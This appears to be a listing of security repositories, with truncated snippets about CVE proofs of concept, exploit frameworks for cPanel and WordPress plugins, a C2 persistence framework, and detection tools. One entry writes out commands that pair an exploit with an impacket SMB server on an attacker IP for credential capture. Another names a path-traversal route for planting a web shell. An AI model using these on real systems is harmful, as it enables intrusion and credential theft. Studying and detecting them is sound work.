Detection-CheatEngine

Detection-CheatEngine المبدأ فهم ReadDirectoryChangesW التوسعة يمكنك إضافة ناقل الكشف الخاص بك بسهولة في CEInfo.h pragma once define CEDETECTION1 L"ADDRESSES.FIRST" define CEDETECTION2 L"MEMORY.FIRST" الترجمة البناء Visual Studio 2022 llvm-msvc رابط بعض النقاشات على UnknownCheats...

CVE-2026-74239

CVE-2026-74239: Windows path traversal in style archive import XenForo before 2.3.13 is vulnerable to path traversal in style archive imports on Windows. What happens The importer accepts ZIP members under upload/ and rejects names containing the forward-slash form /../. It does not normalize or...

WebKitGTK-DND-Fix

WebKitGTK-DND-Fix دفتر بحث و CI لاستعادة السحب والإفلات الموثوق للملفات على WebKitGTK و WPE بعد CVE-2025-13947. المشكلة سمح CVE-2025-13947 WSA-2025-0009, GHSA-j77f-3hf7-7rvg لمحتوى الويب بقراءة محتويات الملفات المحلية عبر السحب والإفلات على WebKitGTK. كان الإصلاح المنبع، bugs.webkit.org 303434،...

CVE-2025-24071-POC

sudo apt update sudo apt install wine wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try تم إنشاء ZIP: try.zip impacket-smbserver: smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket Exegol fork v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC and its affiliated...

CVE-2026-9335-keras-hdf5-externallink

CVE-2026-9335 — كشف محتوى الملفات المحلية عبر HDF5 ExternalLink في Keras واجهتا برمجة عامتان في Keras — keras.saving.KerasFileEditor و keras.saving.loadweights / model.loadweights — تقرآن أعضاء مجموعة HDF5 عبر الفهرسة المباشرة دون التحقق من نوع الرابط. يقوم h5py بإلغاء الإحالة تلقائيًا لـ...

POC-CVE-2026-5027

الوصف كود إثبات المفهوم لاستغلال الثغرة CVE-2026-5027 الاستخدام python3 poc.py -u -c -a "bash command arg الملف المكتوب على قرص حاوية Docker...

CVE-2026-78839

CVE-2026-78839 الوصف ثغرة رفع ملفات عشوائية في AppNitro MachForm الإصدار 30 تسمح للمهاجمين بتنفيذ كود عشوائي عبر رفع ملف .phar مُصمم خصيصًا. يتطلب الاستغلال الناجح لهذه الثغرة شرطين عمليين. أولاً، يجب على المهاجم إما تحديد نموذج موجود تم تكوينه للسماح برفع ملفات .phar، أو امتلاك صلاحيات كافية...

stratum-c2

Cloud Persistence Framework · v3.0.2 A fallback foothold that routes through infrastructure defenders can't block. The problem Your primary C2 goes silent. The domain gets blacklisted. The beacon gets flagged. The EDR kills the process. You're out. You need a second channel — one that was never...

CVE-2023-38831-POC

CVE-2023-38831-POC Proof-of-concept of CVE-2023-38831 Note: The "GTA Leak" file isn't real. It's just zeros without ones "What should i click? The folder or the file?"...

CVE-2023-4861-PoC

CVE-2023-4861 PoC This repository contains a Python proof of concept for CVE-2023-4861 , an authenticated remote code execution issue in the WordPress plugin File Manager Pro - Filester. Vulnerability Summary CVE: CVE-2023-4861 Product: File Manager Pro - Filester filester Vulnerable versions:...

By-Poloss..-..CVE-2026-18080

CVE-2026-18080 — ERP Complete HR, Accounting & CRM Suite putcontents $dir . $name, $item'data' ; The filename ../../plugins/shell.php concatenated with $dir wp-content/uploads/crm-attachments/ resolves to wp-content/plugins/shell.php — a directory...

cPanelSniper

cPanelSniper CVE-2026-41940 — cPanel & WHM Authentication Bypass via Session-File CRLF Injection 4-stage exploit chain · Interactive WHM Shell · Bulk scanner · Pipeline ready · stdlib only Overview cPanelSniper is a focused exploitation framework for CVE-2026-41940 , a critical authentication...

halo-2.25.4-backup-write-CVE-2026-67920

Halo CMS Backup Restore Arbitrary File Write Vulnerability Summary A critical arbitrary file write vulnerability exists in the backup restoration functionality of Halo CMS versions up to 2.25.4. The restoreWorkdir method in MigrationServiceImpl.java copies the workdir/ directory from a...

cPanelSniper

cPanelSniper CVE-2026-41940 — cPanel & WHM Authentication Bypass via Session-File CRLF Injection 4-stage exploit chain · Interactive WHM Shell · Bulk scanner · Pipeline ready · stdlib only Overview cPanelSniper is a focused exploitation framework for CVE-2026-41940 , a critical authentication...

CVE-2026-41940-AuthBypass-Detector

CVE-2026-41940 Detection & Verification Overview This tool detects cPanel/WHM instances vulnerable to CVE-2026-41940 , a critical authentication bypass discovered by watchTowr Labs. The vulnerability allows an unauthenticated attacker to gain root access to WHM via a CRLF injection in the session...

CVE-2026-3844

CVE-2026-3844 — WordPress Breeze Cache Unauthenticated File Upload Overview This repository contains a Python proof-of-concept PoC script for demonstrating an Unauthenticated Arbitrary File Upload vulnerability affecting the WordPress Breeze Cache plugin ⚠️ This project is intended strictly for...

CVE-2026-39363

CVE-2026-39363 — Vite Dev Server WebSocket Arbitrary File Read Batch Detection Disclaimer: This tool is intended for authorized security testing and educational research only. Users must comply with local laws and regulations; unauthorized scanning or attacking others' systems is illegal. The...

cpanel-pwn

cpanel-pwn cPanel/WHM security testing toolkit. Implements the CVE-2026-41940 CRLF injection authentication bypass and post-exploitation privilege pivoting. Tools Script| Purpose ---|--- cpanelexploit.py| CVE-2026-41940: CRLF injection → WHM auth bypass → root access CVE-2026-41940 Type: CRLF...

jsmon

JSMon JSMon - बगबाउंटी के लिए जावास्क्रिप्ट परिवर्तन मॉनिटर इस स्क्रिप्ट का उपयोग करके, आप उन वेबसाइटों पर कई जावास्क्रिप्ट फ़ाइलों को कॉन्फ़िगर कर सकते हैं जिन्हें आप मॉनिटर करना चाहते हैं। हर बार जब आप यह स्क्रिप्ट चलाते हैं, तो ये फ़ाइलें प्राप्त की जाएंगी और पिछले प्राप्त संस्करण से तुलना की...

CVE-2026-31431-PocC

CVE-2026-31431-PoC CVE-2026-31431 PoC reproduced in C, usable for exploitation when Python is not available on the target environment. Vulnerability Basic Information Vulnerability type: Linux kernel AFALG subsystem page cache poisoning, achieving local privilege escalation and possible container...